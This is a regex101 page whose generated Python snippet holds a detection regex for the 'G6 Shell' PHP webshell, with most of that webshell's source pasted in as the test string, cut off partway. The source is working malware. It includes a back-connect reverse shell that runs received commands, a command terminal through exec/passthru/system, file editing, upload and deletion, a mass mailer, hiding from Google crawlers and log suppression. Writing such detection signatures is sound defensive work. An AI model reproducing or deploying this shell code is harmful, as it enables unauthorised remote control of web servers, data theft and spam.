Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

import re regex = re.compile(r"(\$\w+)\s*=\s*array\(\)[;\s]+(?:(?:else)*if\s*\(\w+\(\)[='\"]+(?:exec|passthru|system)['\"][^{]+[{\s]+(?:echo|print)[^;]+[;\s]+(?:exec|passthru|system)\(\$_(?:GET|POST|REQUEST)\[[^]]+\]\s*,\s*\1[^}]+[}\s]+){1,3}(?:.{50,300})G6\s+Shell\s+", flags=re.DOTALL | re.IGNORECASE) test_str = ("<!DOCTYPE html>\n" "<html>\n" "<!--\n" " Version: 1.1 Beta\n\n" " G6 PHP webshell was coded by Mr. P-teo for the Hacking community.\n" " G6 offers the following features:\n" " - File Browsing\n" " - File Editing\n" " - File Upload\n" " - Self Remove\n" " - PHP code execution\n" " - Server Information\n" " - Password Hash Identifier\n" " - Terminal\n" " - Remote Back Connect\n" " - Mass Mail\n" " \n" " Mass error with filemanager, will re-write at the week end. \n\n" "--> \n" "<style stype=\"text/css\">\n" ".flink{font-weight:normal;}\n" "body{background-color:#101010; background:#101010;color:#f2f2f2;font-family:tahoma;font-size:12px;}\n" "body a{ color:#3467BA;font-weight:bold;text-decoration:none;}\n" "body a:hover{text-decoration:underline;}\n" "#main_content{border:1px solid #5C7296;overflow:hidden;width:1000px;height:auto;padding:15px;margin: 0 auto;background:#0A0A0A;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n" ".enabled{color:#7ACC29;}\n" ".enabled a{color:#7ACC29;font-weight:normal;}\n" ".disabled{color:#CC0000;}\n" ".execbox{width:250px;padding: 5px 15px 15px 15px;height:auto;border:solid 1px #47A3FF;background:#0A0A0A;}\n" ".viewsource{border:solid 1px #47A3FF;background:#0A0A0A;color:#f2f2f2;}\n" ".command{width:620px;border:solid 1px #47A3FF;outline:none;background:#0A0A0A;color:#f2f2f2;}\n" ".response{width:616px;color:green;height:300px;border-bottom:solid 1px #47A3FF;border-right:solid 1px #47A3FF;border-left:solid 1px #47A3FF;border-top:0;outline:none;background:#0A0A0A;color:#f2f2f2;margin:-4px 0px 0px 0px;}\n" ".TableHeader_Name{width:450px;padding:0px 0px 0px 5px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-left-radius:4px;-moz-border-top-left-radius:4px;-webkit-border-top-left-radius:4px;}\n" ".TableHeader{width:100px;height:25px;font-weight:bold;font-family:verdana;text-align:center;background-color:#282828;}\n" ".TableHeaderoptions{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}\n" ".filesize{color:green;text-align:center;}\n" ".filenames a{font-weight:normal;text-decoration:none;}\n" ".filenames a:hover{text-decoration:underline;}\n" "tr{background-color: #080808;}\n" "tr:hover{background-color:#282828;}\n" "#options{font-weight:200;font-family:tahoma;margin-left:10px;display:block;}\n" "#title{font-size:25px;font-weight:bold;font-family:arial;display:block;padding:15px 0px 0px 0px;}\n" ".Logo{font-size:150px;text-align:center;color:#101010;}\n" ".logotext{font-size:20px;text-align:center;color:#101010;}\n" ".terminaltop{background-color:#686868;margin:-10px 0px -3px 0px;width:622px;height:20px;border-top-right-radius:5px;-moz-border-top-right-radius:5px;-webkit-border-top-right-radius:5px;border-top-left-radius:5px;-moz-border-top-left-radius:5px;-webkit-border-top-left-radius:5px;}\n" ".TableHeaderoptions2{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}\n" ".box{padding:10px;background-color:#292929;border:1px solid #3467BA;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n" ".box2{padding:5px;background-color:#000000;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n" ".optionstr td{background-color:#0A0A0A;}\n" ".optionstr td:hover{background-color:#0A0A0A;}\n" ".chdir{background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;}\n" ".godir{margin:0px 10px 0px -5px;background-color:#292929;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;width:24px;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;}\n" "</style>\n" "<body>\n" " <div id=\"main_content\">\n" "<?php\n" "ob_start();\n" "ini_set('display_errors', false);\n" "ini_set('memory_limit', '-1');\n\n" "if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } \n\n" "@ini_set('error_log',NULL);\n" "@ini_set('log_errors',0);\n" "@ini_set('max_execution_time',0);\n" "echo \"<title>G6 Shell v1.1 - Private .::Made By Mr. P-teo::.</title>\n" "<script type=\"text/javascript\" language=\"javascript\">\n" "<!--\n" "ML=\"P<>phTsmtr/9:Cuk RIc=jSw.o\";\n" "MI=\"1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052\";\n" "OT=\"\";\n" "for(j=0;j<MI.length;j++){\n" "OT+=ML.charAt(MI.charCodeAt(j)-48);\n" "}document.write(OT);\n" "// --></script>\n" "\";\n\n" "function get_srv_info(){\n\n" " echo \"<br /><span id='title'>G6 Shell v1.1 - Private</span><br /><div class='box'><b>Server Name: </b>\".$_SERVER[\"SERVER_NAME\"].\"<br />\n" " <b>Server IP: </b>\".$_SERVER[\"SERVER_ADDR\"].\" <span class='enabled'><a href='http://www.who.is/whois/\".$_SERVER['HTTP_HOST'].\"' target='_blank'>[WHOIS]</a> - <a href='http://www.dnsstuff.com/tools?runFromMain=\".$_SERVER[\"SERVER_ADDR\"].\"&toolType=traceroute' target='_blank'>[TRACEROUTE]</a></span><br />\".\n" " \"<b>Shell Location: </b>\".$_SERVER[\"SCRIPT_FILENAME\"].\"<br />\n" " <b>Server Software: </b>\".$_SERVER[\"SERVER_SOFTWARE\"].\" <span class='enabled'><a href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=\".$_SERVER['SERVER_SOFTWARE'].\"&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=' target='_blank'>[Exploit DB]</a></span><br />\n" " </div><br /><br /><p></p>\";\n" "}\n\n" "function cmd(){\n" " $disabled = explode(', ', ini_get('disable_functions'));\n" " $diabledLower = array();\n" " foreach($diabled as $function){$diabledLower[] = strtolower($function);}\n" " if(!in_array($diabledLower, \"exec\")){return \"exec\"; }elseif(!in_array($diabledLower, \"passthru\")){return \"passthru\";}elseif(!in_array($diabledLower, \"system\")){return \"system\";}else{return \"none\";}}\n" " $shellVersion = \"1.1\";\n\n" "$upload = $_GET['dXBsb2Fk'];\n" "$downloadfilename = $_GET['ZG93bg'];\n" "$delete = $_GET['delete'];\n" "$file_explorer = $_GET['ZmlsZV9leHBsb3Jlcg'];\n" "$mkdir = $_GET['bWtkaXI'];\n" "$currentDirectoryFileDl = $_GET['downlfile'];\n" "$NavLinks = array(\n" " array(\n" " \"name\" => \"Main\",\n" " \"url\" => \"?\"\n" " ),\n" " array(\n" " \"name\" => \"Server Information\",\n" " \"url\" => \"?c3J2aW5mbw=\"\n" " ),\n" " array(\n" " \"name\" => \"File Explorer\",\n" " \"url\" => \"?ZmlsZV9leHBsb3Jlcg=\".dirname(__FILE__).\"/\"\n" " ),\n" " array(\n" " \"name\" => \"Terminal\",\n" " \"url\" => \"?dGVybWlhbmw\"\n" " ),\n" " array(\n" " \"name\" => \"Hash Identifier\",\n" " \"url\" => \"?aGk=\"\n" " ),\n" " array(\n" " \"name\" => \"PHP Exec\",\n" " \"url\" => \"?eval\"\n" " ),\n" " array(\n" " \"name\" => \"Back Connect\",\n" " \"url\" => \"?YmNrbmV0=\"\n" " ),\n" " array(\n" " \"name\" => \"Mass Mailer\",\n" " \"url\" => \"?kueqymass\"\n" " ),\n" " array(\n" " \"name\" => \"Shell-101\",\n" " \"url\" => \"?a253aXN1ZQ\"\n" " ),\n" " array(\n" " \"name\" => \"Self Remove\",\n" " \"url\" => \"?srmve\"\n" " )\n" ");\n" "$CurrentUrl = \"http://\".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];\n" "$last = count($NavLinks) - 1;\n" "foreach($NavLinks as $NavLink => $NavRow){\n" " $linknames = ($NavLink == 0);\n" " $linkurls = ($NavLink == $last);\n" " echo '<a href=\"'.$NavRow['url'].'\">'.$NavRow['name'].'</a> / ';\n" "}\n" "if(strstr($CurrentUrl, \"readfile\")){\n" " $sourcefile = $_REQUEST['readfile'];\n" " if(is_file($sourcefile)){\n" " get_srv_info();\n" " if(isset($sourcefile))\n" " {\n" " $Finalsource = file_get_contents($sourcefile); \n\n" " echo \"<strong>Editing: </strong>\".$sourcefile.\"<br /><br /><a href='\".$_SERVER['HTTP_REFERER'].\"'>&laquo; Back to files</a><br /><form action='' method='POST'><textarea name='sourcecode' class='viewsource' rows='20' cols='121'>\".htmlentities($Finalsource).\"</textarea><br /><input type='Submit' value='Save File' name='save' /></form>\";\n" " }\n" " }else{\n" " echo \"Data not sent.\";\n" " }\n" " if(isset($_POST['save'])){\n" " $new_source = $_POST['sourcecode'];\n" " $source_edit = fopen($sourcefile, 'w');\n" " fwrite($source_edit, $new_source);\n" " fclose($source_edit);\n" " }\n" "}elseif(strstr($CurrentUrl, \"aGk\")){\n" " get_srv_info();\n" " echo \"<p>G6 hash identifier is able to identify MD5, SHA-1, MySQL5, DES(Unix), SHA-256, SHA-384, SHA-512, MD5(Unix), MD5(APR), MD5(phpBB3), MD5(Wordpress), SHA-256(Unix), SHA-512(Unix) and MD5(Base-64).</p>\";\n" " if(isset($_POST['gethash'])){\n" " $hash = $_POST['hash'];\n" " if(strlen($hash)==32){\n" " $hashresult == \"MD5 Hash\";\n" " }elseif(strlen($hash)==40){\n" " $hashresult = \"SHA-1 Hash/ /MySQL5 Hash\";\n" " }elseif(strlen($hash)==13){\n" " $hashresult = \"DES(Unix) Hash\";\n" " }elseif(strlen($hash)==16){\n" " $hashresult = \"MySQL Hash / /DES(Oracle Hash)\";\n" " }elseif(strlen($hash)==41){\n" " $GetHashChar = substr($hash, 40);\n" " if($GetHashChar == \"*\"){\n" " $hashresult = \"MySQL5 Hash\"; \n" " } \n" " }elseif(strlen($hash)==64){\n" " $hashresult = \"SHA-256 Hash\";\n" " }elseif(strlen($hash)==96){\n" " $hashresult = \"SHA-384 Hash\";\n" " }elseif(strlen($hash)==128){\n" " $hashresult = \"SHA-512 Hash\";\n" " }elseif(strlen($hash)==34){\n" " if(strstr($hash, '$1$')){\n" " $hashresult = \"MD5(Unix) Hash\";\n" " } \n" " }elseif(strlen($hash)==37){\n" " if(strstr($hash, '$apr1$')){\n" " $hashresult = \"MD5(APR) Hash\";\n" " } \n" " }elseif(strlen($hash)==34){\n" " if(strstr($hash, '$H$')){\n" " $hashresult = \"MD5(phpBB3) Hash\";\n" " } \n" " }elseif(strlen($hash)==34){\n" " if(strstr($hash, '$P$')){\n" " $hashresult = \"MD5(Wordpress) Hash\";\n" " } \n" " }elseif(strlen($hash)==39){\n" " if(strstr($hash, '$5$')){\n" " $hashresult = \"SHA-256(Unix) Hash\";\n" " } \n" " }elseif(strlen($hash)==39){\n" " if(strstr($hash, '$6$')){\n" " $hashresult = \"SHA-512(Unix) Hash\";\n" " } \n" " }elseif(strlen($hash)==24){\n" " if(strstr($hash, '==')){\n" " $hashresult = \"MD5(Base-64) Hash\";\n" " } \n" " }else{\n" " $hashresult = \"Hash type not found\";\n" " }\n" " }else{\n" " $hashresult = \"Not Hash Entered\";\n" " }\n" " ?>\n" " <center>\n" " <form action=\"\" method=\"POST\"><table><tr class=\"optionstr\"><td>Enter Hash:</td> <td><input type=\"text\" name=\"hash\" class=\"command\" /></td><td><input type=\"submit\" name=\"gethash\" value=\"Identify Hash\" /></td></tr><tr class=\"optionstr\"><td>Result: </td><td><?php echo $hashresult; ?></td></tr></table></form>\n" " </center>\n" " \n" " <?php\n\n" "}elseif(strstr($CurrentUrl, \"YmNrbmV0\")){\n" " get_srv_info();\n" " echo '\n" "<div id=\"back\">\n" " <h2>Back Connect</h2>\n" " <p>Back connect will allow you to enter system commands remotely.</p>\n" " <p>\n" " <table>\n" " <form action=\"\" method=\"post\">\n" " <tr class=\"optionstr\"><td>IP Address: </td><td><input type=\"textbox\" name=\"ip\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n" " <tr class=\"optionstr\"><td>Port: </td><td><input type=\"textbox\" name=\"port\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n" " <tr class=\"optionstr\"><td><input type=\"submit\" name=\"bind\" value=\"Open Connection\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n" " </form>\n" " </table>';\n" " if(isset($_POST['bind']))\n" " {\n" " echo \"<p>Attempting Connection...</p>\";\n" " $ip = $_POST['ip'];\n" " $port= $_POST['port'];\n" " $sockfd=fsockopen($ip , $port , $errno, $errstr );\n" " if($errno != 0){echo \"<font color='red'><b>$errno</b> : $errstr</font>\";}else if (!$sockfd) {$result = \"<p>Unexpected error has occured, connection may have failed.</p>\";} else {fputs ($sockfd ,\"\\n{################################################################}\\n..:: G6 W3b Sh3ll v1.1- Coded By Mr. P-teo ::..\\n\\n=> Backconnect \\n=> Back \\n\n" " \\n{################################################################}\"); $pwd = shell_exec(\"pwd\"); $sysinfo = shell_exec(\"uname -a\"); $time = Shell_exec(\"time\"); $len = 1337; fputs($sockfd, \"User \", $sysinfo, \"connected @ \", $time, \"\\n\\n\"); while(!feof($sockfd)){ $cmdPrompt = '[G6]#:> ';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);\n" " fputs($sockfd , \"\\n\" . shell_exec($command) . \"\\n\\n\"); } fclose($sockfd);}}\n" " echo \"</p></div>\";\n\n" "}elseif(strstr($CurrentUrl, \"bWtmbA\")){\n" " get_srv_info();\n" " echo \"<p>If no file path is included it will be created within the same directory as the shell.</p><form action='' method='post'><p>Filename: <input type='text' name='newfilename' /></p><p><input type='submit' value='Create File' name='create' /></p></form>\";\n" " $newfilename = htmlentities($_POST['newfilename']);\n" " if(isset($_POST['create'])){$ourFileName = $newfilename;$ourFileHandle = fopen($ourFileName, 'w') or die(\"can't open file\");fclose($ourFileHandle);}\n" " echo \"<br /><br />\";\n" "}elseif(strstr($CurrentUrl, \"bWtkaXI\")){\n" " get_srv_info();\n" " echo \"<p>If no file path is included directory will be created within the same directory as the shell.</p>\n" " <form action='' method='post'>\n" " <p>Directory Name: <input type='text' name='newdirname' /></p>\n" " <p><input type='submit' value='Create New Directory' name='createdir' /></p>\n" " </form>\";\n" " $newdirname = htmlentities($_POST['newdirname']);\n" " if(isset($_POST['createdir'])){\n" " $ourdirName = $newdirname;\n" " mkdir($ourdirName, 0777);\n" " echo \"Directory Created!\";\n" " }\n" " echo \"\n" " <br /><br />\";\n" "}elseif(strstr($CurrentUrl, \"ZmlsZV9leHBsb3Jlcg\")){\n" " get_srv_info();\n" " $upload = $file_explorer;\n" " echo '<p><form action=\"\" method=\"POST\"><table><tr class=\"optionstr\"><td><input class=\"chdir\" type=\"text\" name=\"chdir\" value=\"'.$file_explorer.'\"\" /></td><td></td></form><td><div id=\"options\"><a href=\"'.$CurrentUrl.'\">Refresh Files</a></div></td><td><div id=\"options\"><!--<a href=\"?bWtkaXI='.$file_explorer.'\">Make Directory</a> | <a href=\"?bWtmbA='.$file_explorer.'\">Make File</a> | <a href=\"?dXBsb2Fk='.$upload.'\">Upload</a></div>--></td></tr>';\n" " if(isset($_POST['godir'])){$mandircha = $_POST['chdir'];if($mandircha){ header(\"Location: ?ZmlsZV9leHBsb3Jlcg=\".$_POST['chdir']);}}\n" " ?>\n" " </div></p>\n" " <table class=\"FileBrowserTable\"><tr><td class=\"TableHeader_Name\"> FileName's</td><td class=\"TableHeader\">Filetype</a></td><td class=\"TableHeader\">Size</td><td class=\"TableHeader\">Permisions</td><td class=\"TableHeader\">Last Modified</td><td class=\"TableHeaderoptions\"> Options</td></tr>\n" " <?php\n\n" " $Shell_Directory = $_SERVER['REMOTE_DIR'];\n" " //load files... \n\n" " function GetFileType($file){\n" " if(!is_dir($file)){\n" " if(strstr($file, \".\")){\n" " $FileExt = end(explode(\".\", $file));\n" " return $FileExt;\n" " }else{\n" " return \"Directory\";\n" " }\n" " }else{\n" " $Directory = \"Directory\";\n" " return $Directory;\n" " }\n" " }\n\n" " \n\n\n" "function GetFileSize($file){\n" " if(!is_dir($file))\n" " return round(filesize($file) / 1024, 2) . \" Kb\";\n" " else\n" " return \"Not Availible\";\n" "}\n\n" "function LastModified($file){\n" " return \"<center>\".date(\"m/d/y\", filemtime($file)).\"</center>\";\n" "}\n\n" "function permissions($file){\n" " if(is_readable($file)){\n" " $readable = \"r\";\n" " }else{\n" " $readable = \"?\";\n" " }\n" " if(is_writable($file)){\n" " $writable = \"w\";\n" " }else{\n" " $writable = \"?\";\n" " }\n" " if(is_executable($file)){\n" " $executable = \"x\";\n" " }else{\n" " $executable = \"?\";\n" " }\n\n\n" "if($readable.\"--\".$writable.\"--\".$executable == \"r--w--x\"){\n" " return \"<center style='color:#f1f1f1;'>\".$readable.\"--\".$writable.\"--\".$executable.\"</center>\";\n" "}else{\n" " return \"<center>\".$readable.\"--\".$writable.\"--\".$executable.\"</center>\";\n" "}\n" "}\n\n" " $Files = scandir($file_explorer);\n" " foreach($Files as $File){\n" " if($File == \"..\"){\n" " $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];\n" " //Up a directory\n" " $currentDirectory = substr($currentDirectory, 0, strrpos($currentDirectory, \"/\"));\n" " echo \"<tr><td><a href='?ZmlsZV9leHBsb3Jlcg=\" .$currentDirectory. \"'>\" . $File . \"</a></td><td></td><td></td><td></td><td></td><td></td></tr>\";\n\n" " }elseif($File == \".\"){\n" " //Same as current Dir, no need for this...\n\n" " }else{\n" " $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];\n" " $type = GetFileType($currentDirectory. \"/\" .$File);\n" " if($type == \"Directory\"){\n" " echo \"<tr><td><a class='flink' title='Explore Directory' href='?ZmlsZV9leHBsb3Jlcg=\" .$currentDirectory. \"/\" .$File. \"'>\" . $File . \"/</a></td><td><center>\" . $type . \"</center></td><td class='filesize'>\" . GetFileSize($currentDirectory. \"/\" .$File) . \"</td><td style='color:red;'>\".permissions($currentDirectory. \"/\" .$File).\"</td><td>\" . LastModified($currentDirectory. \"/\" .$File) . \"</td><td>Not Availible</td></tr>\";\n" " }else{\n" " echo \"<tr><td><a class='flink' title='Edit File' href='?readfile=\" .$currentDirectory. \"/\" .$File. \"'>\" . $File . \"</a></td><td><center>\" . $type . \"</center></td><td class='filesize'>\" . GetFileSize($currentDirectory. \"/\" .$File) . \"</td><td style='color:red;'>\".permissions($currentDirectory. \"/\" .$File).\"</td><td>\" . LastModified($currentDirectory. \"/\" .$File) . \"</td><td><a href='?readfile=\" .$currentDirectory. \"/\" .$File. \"' title='Edit File'>E</a> - <a href='?delete=\" .$currentDirectory. \"/\" .$File. \"' title='Bin the Document'>B</a> - <a href='?downlfile=\".$currentDirectory. \"/\" .$File.\"&file=\".$File.\"' title='Download File'>D</a></td></tr>\";\n" " }\n" " }\n" " }\n" " \n" "?>\n" "</table>\n" "<div style=\"background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;\" ></div>\n" " <div style=\"padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;\">\n" " <h4>File Upload</h4><form action=\"\" method=\"post\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"file\" /><br /><input type=\"submit\" name=\"upload\" value=\"Upload File\" /></form></div>\n" " <?php\n" " if(isset($_POST['upload'])){if(isset($_FILES['file'])){ move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], $file_explorer.\"/\". $_FILES[\"file\"][\"name\"]);echo '<script>alert(\"File successfully uploaded, enjoy.\");</script>';} }\n" " ?>\n" " <div style=\"padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;\">\n" " <h4>Create Directory</h4>\n" " <form action=\"\" method=\"post\"><input type=\"text\" name=\"dirname\" /><br /><input type=\"submit\" name=\"createdir\" value=\"Create Dir\" /></form></div>\n" " <?php\n" " if(isset($_POST['createdir'])){if(strlen($_POST['dirname']) > 0){mkdir($file_explorer.\"/\".$_POST['dirname'], 777) or die($file_explorer.\"/\".$_POST['dirname']);}}\n" " ?>\n" " <br /><br /><br />\n" "<?php\n\n" " \n" "}elseif(strstr($CurrentUrl, \"downlfile\")){\n" " /*$type = mime_content_type($currentDirectoryFileDl);\n" " header('Content-Type: '.$type);\n" " header('Content-Disposition: attachment; filename=\"'.$currentDirectoryFileDl.'\"');*/\n" " $file = $_GET['file'];\n" " // header('Content-Type: application/force-download'); Non-standard MIME-Type, incompatible with Samsung C3050 for example. Let it commented\n" " //readfile($currentDirectoryFileDl);\n" " forceDL($currentDirectoryFileDl, $file);\n" " /*\n" " * forceDL\n" " * \n" " * Forces the browser to download file\n" " * \n" " * @param string $filePath Path to the selected download\n" " * @param string $fileName Name of file to be saved, can be anything honestly\n" " */\n" " function forceDL($filePath, $fileName) {\n" " /* Rquired for IE */\n" " if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); }\n" " \n" " /*\n" " Files not downloading with correct headers?\n" " 1) Open file in Notepad++ (or similar) and check for white-space or other code (php code)\n" " 2) Extra code?\n" " 3) Problem found.\n" " 4) Profit\n" " Should answer most questions\n" " */\n" " \n" " /* Headers */\n" " header('Pragma: public');\n" " header('Expires: 0');\n" " header('Cache-Control: must-revalidate, post-check=0, pre-check=0');\n" " header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($filePath)).' GMT');\n" " header('Cache-Control: private', false);\n" " header('Content-Type: application/force-download');\n" " header('Content-disposition: attachment; filename=\"' . $fileName . '\"');\n" " header('Content-Transfer-Encoding: binary');\n" " header('Content-length: ' . filesize($filePath));\n" " readfile($filePath);\n" " echo $filePath.$fileName;\n" " exit();\n" " }\n\n" "}elseif(strstr($CurrentUrl, \"kueqymass\")){\n" " get_srv_info();\n" " ?>\n" " <strong>Mass Mailer</strong>\n" " <p>Be warned using the mass mailing feature may attract attention to your G6 shell. Seperate each email with <strong>;</strong></p>\n" " <form action=\"\" method=\"post\">\n" " <table><tr><td>To Email(s): </td><td><input type=\"text\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; width:220px;\" name=\"email\" placeholder=\"email@address.com\" /></tr><tr><td>Subject: </td> <td><input type=\"text\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px\" name=\"subject\" /></td></tr><tr><td>From Email: </td><td><input type=\"email\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px;\" name=\"fromEmail\" placeholder=\"example@google.com\" /></td></tr><tr><td>Message: </td><td></td></tr></table><table><tr><td><textarea style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; height:200px;width:290px;\" name=\"message\"></textarea></td></tr><tr><td><input type=\"submit\" name=\"send\" value=\"Send Message(s)\" /></td></tr></table></form>\n" " <?php\n" " if(isset($_POST['send'])){ $email = $_POST['email'];$subject = $_POST['subject'];$from = $_POST['fromEmail'];$message = $_POST['message'];if($email&&$subject&&$from&&$message){$emails = explode(\";\", $email);foreach($emails as $email){mail($email, $subject, $message, \"From: \".$from); }}}\n" "}elseif(strstr($CurrentUrl, \"delete\")){\n" " if(!is_dir($delete)){unlink($delete);}else{rmdir($delete);}\n" " header(\"Location: \".$_SERVER['HTTP_REFERER']);\n" "}elseif(strstr($CurrentUrl, \"c3J2aW5mbw\")){\n" " get_srv_info();\n" " $s_safemode = ini_get(\"safe_mode\");\n" " if($s_safemode = TRUE){$s_safemode = \"<span class='enabled'>[ON\";}else{$s_safemode = \"<span class='disabled'>[OFF\"; }\n" " if(extension_loaded('curl')){$curls=\"<span class='enabled'>[ON]</span>\";}else{$curls=\"<span class='disabled'>[OFF]</span>\";}\n" " echo \"<b>Server Port: </b>\".$_SERVER['SERVER_PORT'].\"<br /><br /><b>HTTP Connection: </b>\".$_SERVER['HTTP_CONNECTION'].\"<br /><br /><b>Operating System:</b> \".php_uname().\"<br /><br />\";\n" " if(get_magic_quotes_gpc()){echo \"<b>Magic Quotes:</b> <span class='enabled'>[ENABLED]</span><br /><br />\";}else{echo \"<b>Magic Quotes:</b> <span class='disabled'>[DISABLED]</span><br /><br />\";}\n" " echo \"<b>PHP Version:</b> \".phpversion().\"<br /><br /><b>Safe Mode: </b>\".$s_safemode.\"]</span><br /><br /><b>Curl: </b>\".$curls.\"<br /><br /><b>Accept Encoding: </b> \".$_SERVER['HTTP_ACCEPT_ENCODING'].\"<br /><br /><b>Admin: </b>\".$_SERVER['SERVER_ADMIN'].\"<br /><br /><strong>Disabled Functions: </strong>\";\n" " if(!empty($disabled)){\n" " foreach($disabled as $functionsdis){\n" " echo $functionsdis.\", \";\n" " }\n" " }else{\n" " echo \"none\";\n" " }\n" " echo \"<br /><br /><strong>/etc/passwd: </strong>\";\n" " if(is_readable(\"/home/etc/passwd\")){\n" " echo \"<span style='color:green;'>Readable</span>\";\n" " }else{\n" " echo \"<span style='color:red;'>Unreadable</span>\";\n" " }\n" "}elseif(strstr($CurrentUrl, \"dGVybWlhbmw\")){\n" " \n" " get_srv_info();\n" " ?>\n" " <p>Command line execution via exec, passthru or system.</p>\n" " \n" " <form action=\"\" method=\"post\"><table><tr><td><b>Command Execution: </b></td><td><input type=\"text\" placeholder=\"root~$ \" autocomplete=\"off\" name=\"command\" class=\"command\"/></td></tr></table>\n" " <?php\n" " $out = array();\n" " if(cmd()==\"exec\"){\n" " echo \"Using: exec => \";\n" " exec($_POST['command'], $out);\n" " foreach ($out as $line) {\n" " echo \"$line\\n\";\n" " }\n" " }elseif (cmd()==\"passthru\") { \n\n" " echo \"Using: passthru => \"; \n" " passthru($_POST['command'], $out);\n" " foreach ($out as $line) {\n" " echo \"$line\\n\";\n" " }\n" " }elseif(cmd()==\"system\"){\n" " echo \"Using: system => \";\n" " system($_POST['command'], $out);\n" " foreach ($out as $line) {\n" " echo \"$line\\n\";\n" " }\n" " }\n" "}elseif(strstr($CurrentUrl, \"a253aXN1ZQ\")){\n" " get_srv_info();\n" " echo \"\n" " <h4>Information</h4>\n" " <p>G6 Shell v\".$shellVersion.\" Open Beta Edition - coded by Mr. P-teo, below are the known issues and bugs.</p>\";\n\n" " ?>\n" " <ul>\n" " <li>is_dir function not returning correct result within child dirs of the file browser.</li>\n" " <li>File Browser controls, e.g. rename, create file, delete full dir.</li>\n" " <li>Editing can run into trouble with GET Method Not Implemented error.</li>\n" " </ul>\n" " <br /><br />\n" " <?php\n" "}elseif(strstr($CurrentUrl, \"?eval\")){\n" " get_srv_info();\n" " ?>\n" " <div style=\"float:left;width:700px;\">\n" " <h4>Eval (PHP code execution)</h4>\n" " <form action=\"\" method=\"post\">\n" " 